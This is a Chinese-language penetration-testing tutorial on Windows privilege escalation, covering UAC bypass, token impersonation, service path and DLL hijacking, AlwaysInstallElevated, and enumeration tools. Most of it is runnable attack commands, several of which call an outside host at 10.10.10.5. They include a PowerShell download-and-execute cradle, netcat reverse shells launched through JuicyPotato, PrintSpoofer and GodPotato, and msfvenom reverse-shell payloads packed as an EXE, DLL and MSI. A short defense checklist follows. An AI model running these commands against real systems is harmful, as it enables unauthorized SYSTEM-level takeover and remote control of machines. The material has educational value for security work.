Skip to content

Windows 提权技术 — UAC 绕过、令牌窃取、服务路径劫持

Published:
13 min read

在渗透测试中,初始访问通常只能获取普通用户权限。要进一步控制系统、访问敏感数据或进行横向移动,权限提升(Privilege Escalation)是必经之路。Windows 系统拥有复杂的权限模型,但同时也存在众多可被利用的提权向量。本文将系统讲解 Windows 提权的核心技术,从权限模型基础到 UAC 绕过、令牌操作、服务劫持等高级技术,配合自动化枚举工具的使用方法。

Windows 权限模型基础

理解 Windows 提权技术之前,需要先掌握 Windows 权限体系的核心概念。

用户和用户组

Windows 通过用户组来管理权限,关键的内置组包括:

:: 查看当前用户信息
whoami
whoami /priv
whoami /groups

:: 查看本地用户和组
net user
net localgroup Administrators

:: 查看系统信息
systeminfo
hostname

访问令牌(Access Token)

Windows 中每个进程都关联一个访问令牌,令牌包含用户的 SID、所属组和特权列表。关键特权包括:

特权名称提权潜力利用方法
SeImpersonatePrivilegePotato 系列攻击
SeAssignPrimaryTokenPrivilege令牌替换
SeBackupPrivilege读取任意文件/注册表
SeRestorePrivilege写入任意文件
SeTakeOwnershipPrivilege获取文件所有权
SeDebugPrivilege调试任意进程
SeLoadDriverPrivilege加载内核驱动

完整性级别(Integrity Levels)

Windows Vista 之后引入的强制完整性控制(MIC)将进程分为不同的完整性级别:

# 查看当前进程完整性级别
whoami /groups | findstr "Mandatory"

# 使用 Process Explorer 查看进程令牌和完整性级别
# 或使用 PowerShell
(Get-Process -Id $PID).StartInfo

UAC 绕过技术

用户账户控制(UAC)是 Windows 的安全屏障,即使用户属于 Administrators 组,默认也运行在 Medium 完整性级别。UAC 绕过是获取 High 完整性进程的关键步骤。

fodhelper.exe 绕过

fodhelper.exe 是一个 Windows 内置的自动提升程序(auto-elevate),通过修改注册表可以劫持其执行流程。

# 方法一:PowerShell 实现 fodhelper UAC 绕过
# 创建注册表项
New-Item "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Force
New-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "DelegateExecute" -Value "" -Force
Set-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "(Default)" -Value "cmd.exe /c powershell.exe -ep bypass -nop -c IEX(New-Object Net.WebClient).DownloadString('http://10.10.10.5/shell.ps1')" -Force

# 触发 fodhelper
Start-Process "C:\Windows\System32\fodhelper.exe" -WindowStyle Hidden

# 清理注册表
Remove-Item "HKCU:\Software\Classes\ms-settings\" -Recurse -Force

eventvwr.exe 绕过

事件查看器(eventvwr.exe)同样是自动提升程序,可通过注册表劫持实现 UAC 绕过。

# eventvwr.exe UAC 绕过
New-Item "HKCU:\Software\Classes\mscfile\shell\open\command" -Force
Set-ItemProperty -Path "HKCU:\Software\Classes\mscfile\shell\open\command" -Name "(Default)" -Value "cmd.exe /c start powershell.exe" -Force

# 触发
Start-Process "C:\Windows\System32\eventvwr.exe"

# 清理
Remove-Item "HKCU:\Software\Classes\mscfile" -Recurse -Force

其他 UAC 绕过方法

:: 使用 UACME 工具(集成了大量 UAC 绕过方法)
:: https://github.com/hfiref0x/UACME
Akagi64.exe 23 C:\Windows\System32\cmd.exe

:: computerdefaults.exe 绕过
reg add "HKCU\Software\Classes\ms-settings\Shell\Open\command" /d "cmd.exe" /f
reg add "HKCU\Software\Classes\ms-settings\Shell\Open\command" /v "DelegateExecute" /f
computerdefaults.exe

令牌窃取与模拟

当用户拥有 SeImpersonatePrivilegeSeAssignPrimaryTokenPrivilege 特权时(通常为服务账户如 IIS、MSSQL),可以通过令牌操作提升到 SYSTEM 权限。

Meterpreter Incognito

# 在 Meterpreter 会话中
meterpreter > use incognito
meterpreter > list_tokens -u

# 模拟管理员令牌
meterpreter > impersonate_token "NT AUTHORITY\\SYSTEM"
# 或
meterpreter > impersonate_token "LAB\\Administrator"

# 确认权限
meterpreter > getuid

JuicyPotato

JuicyPotato 利用 COM 服务器的令牌协商过程,将服务账户的 SeImpersonatePrivilege 提升到 SYSTEM。

:: 检查是否有 SeImpersonatePrivilege
whoami /priv

:: 使用 JuicyPotato
JuicyPotato.exe -l 1337 -p C:\Windows\System32\cmd.exe -a "/c C:\Temp\nc.exe 10.10.10.5 4444 -e cmd.exe" -t *

:: 需要指定 CLSID(不同 Windows 版本 CLSID 不同)
:: Windows Server 2016:
JuicyPotato.exe -l 1337 -p C:\Temp\rev.exe -t * -c {e60687f7-01a1-40aa-86ac-db1cbf673334}

PrintSpoofer

PrintSpoofer 利用 Windows 打印后台处理服务的命名管道模拟漏洞,适用于 Windows 10 和 Server 2019 等较新系统。

:: PrintSpoofer 提权
PrintSpoofer64.exe -i -c cmd

:: 直接执行反向 Shell
PrintSpoofer64.exe -c "C:\Temp\nc.exe 10.10.10.5 4444 -e cmd.exe"

GodPotato 和 SweetPotato

:: GodPotato(支持 Windows Server 20122022 全版本)
GodPotato.exe -cmd "cmd /c whoami"
GodPotato.exe -cmd "cmd /c C:\Temp\nc.exe 10.10.10.5 4444 -e cmd.exe"

:: SweetPotato
SweetPotato.exe -p C:\Temp\nc.exe -a "10.10.10.5 4444 -e cmd.exe"

服务路径劫持

Windows 服务的配置错误是常见的提权向量。

不带引号的服务路径(Unquoted Service Path)

当服务的可执行文件路径包含空格且未用引号括起时,Windows 会按照特定顺序尝试解析路径,攻击者可以在中间路径放置恶意可执行文件。

:: 查找不带引号的服务路径
wmic service get name,displayname,pathname,startmode | findstr /i "auto" | findstr /i /v "C:\Windows\\" | findstr /i /v """

:: PowerShell 查询
Get-WmiObject win32_service | Where-Object {$_.PathName -notlike "C:\Windows\*" -and $_.PathName -notlike '"*'} | Select-Object Name, PathName, StartMode

:: 例如路径为:C:\Program Files\Vulnerable App\Service.exe
:: Windows 会依次尝试:
:: C:\Program.exe
:: C:\Program Files\Vulnerable.exe
:: C:\Program Files\Vulnerable App\Service.exe

:: 检查是否有写入权限
icacls "C:\Program Files\Vulnerable App\"

:: 如果可写,放置恶意文件
:: 生成 payload
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.10.5 LPORT=4444 -f exe -o Vulnerable.exe
:: 将 Vulnerable.exe 复制到 C:\Program Files\

:: 重启服务
sc stop VulnService
sc start VulnService

可写服务二进制文件

:: 检查服务二进制的文件权限
icacls "C:\Services\CustomApp\service.exe"
:: 如果 BUILTIN\Users 有 (F) 或 (M) 权限,可以替换

:: 备份原文件
copy "C:\Services\CustomApp\service.exe" "C:\Temp\service_backup.exe"

:: 替换为恶意文件
copy /Y C:\Temp\malicious.exe "C:\Services\CustomApp\service.exe"

:: 重启服务触发执行
sc stop CustomService
sc start CustomService

服务权限修改

:: 使用 accesschk 检查服务权限
accesschk.exe /accepteula -uwcqv "Authenticated Users" *
accesschk.exe /accepteula -uwcqv "Users" *

:: 如果对某个服务有 SERVICE_CHANGE_CONFIG 权限
sc config VulnService binpath= "C:\Temp\nc.exe 10.10.10.5 4444 -e cmd.exe"
sc config VulnService obj= ".\LocalSystem" password= ""
sc stop VulnService
sc start VulnService

DLL 劫持

Windows 应用程序加载 DLL 时遵循特定的搜索顺序,如果攻击者能在高优先级路径中放置恶意 DLL,即可实现代码执行。

# 使用 Process Monitor 监控 DLL 加载失败
# 筛选条件:Operation = CreateFile, Result = NAME NOT FOUND, Path ends with .dll

# 生成恶意 DLL
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.10.5 LPORT=4444 -f dll -o hijack.dll

# 将 DLL 放置到目标应用程序目录
# 等待应用程序或服务启动时加载
# 查找可写的 PATH 目录
$env:Path -split ';' | ForEach-Object {
    $path = $_
    try {
        $acl = Get-Acl $path -ErrorAction SilentlyContinue
        $acl.Access | Where-Object {
            $_.IdentityReference -match "Users|Everyone|Authenticated" -and
            $_.FileSystemRights -match "Write|Modify|FullControl"
        } | ForEach-Object {
            Write-Output "WRITABLE: $path - $($_.IdentityReference) - $($_.FileSystemRights)"
        }
    } catch {}
}

AlwaysInstallElevated 利用

当组策略 AlwaysInstallElevated 被启用时,任何用户都可以以 SYSTEM 权限安装 MSI 包。

:: 检查是否启用
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

:: 两个键值都为 1 时存在漏洞
# 生成恶意 MSI
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.10.5 LPORT=4444 -f msi -o evil.msi

# 在目标机上安装
msiexec /quiet /qn /i C:\Temp\evil.msi

自动化枚举工具

手动检查每个提权向量效率低下,以下工具能自动枚举系统中的所有潜在提权路径。

WinPEAS

:: 运行 WinPEAS 全面枚举
winPEASx64.exe

:: 仅检查特定类别
winPEASx64.exe servicesinfo
winPEASx64.exe userinfo
winPEASx64.exe systeminfo

:: 将输出保存到文件
winPEASx64.exe > C:\Temp\winpeas_output.txt

WinPEAS 会自动检查以下内容:

PowerUp

# 导入 PowerUp(PowerSploit 的一部分)
Import-Module .\PowerUp.ps1

# 运行所有检查
Invoke-AllChecks

# 单独检查不带引号的服务路径
Get-UnquotedService

# 检查可修改的服务
Get-ModifiableService

# 检查可修改的服务二进制文件
Get-ModifiableServiceFile

# 自动利用发现的漏洞
Invoke-ServiceAbuse -Name 'VulnService' -UserName 'lab\testuser'

# 检查 AlwaysInstallElevated
Get-RegistryAlwaysInstallElevated

# 检查自启动项
Get-ModifiableRegistryAutoRun

其他枚举工具

:: Seatbelt — 安全审计枚举
Seatbelt.exe -group=all

:: SharpUp — C# 版 PowerUp
SharpUp.exe audit

:: PrivescCheck — PowerShell 提权检查
powershell -ep bypass -c ". .\PrivescCheck.ps1; Invoke-PrivescCheck -Extended"

:: Windows Exploit Suggester
systeminfo > sysinfo.txt
python3 windows-exploit-suggester.py --database 2024-01-01-mssb.xls --systeminfo sysinfo.txt

安全建议与防御措施

  1. 保持系统更新 — 及时安装安全补丁,修复已知提权漏洞
  2. 配置 UAC 为最高级别 — 组策略中设置 “始终通知”
  3. 最小权限原则 — 服务账户使用专用低权限账户运行,避免使用 SYSTEM
  4. 审查服务配置 — 修复不带引号的路径,确保服务二进制文件权限正确
  5. 移除不必要的特权 — 审查并移除 SeImpersonate 等危险特权
  6. 禁用 AlwaysInstallElevated — 确保该策略未被启用
  7. 应用程序白名单 — 使用 AppLocker 或 WDAC 限制可执行文件
  8. 监控异常行为 — 使用 EDR 监控提权工具的执行和注册表修改

总结

Windows 提权是渗透测试中承上启下的关键环节,连接着初始访问和后渗透阶段。本文涵盖了主要的提权技术:

在实战中,建议先使用 WinPEAS、PowerUp 等工具自动枚举,快速定位可利用的提权路径,再结合手动验证确保利用的准确性和隐蔽性。下一篇将进入域渗透领域,讲解 Active Directory 环境的攻击技术。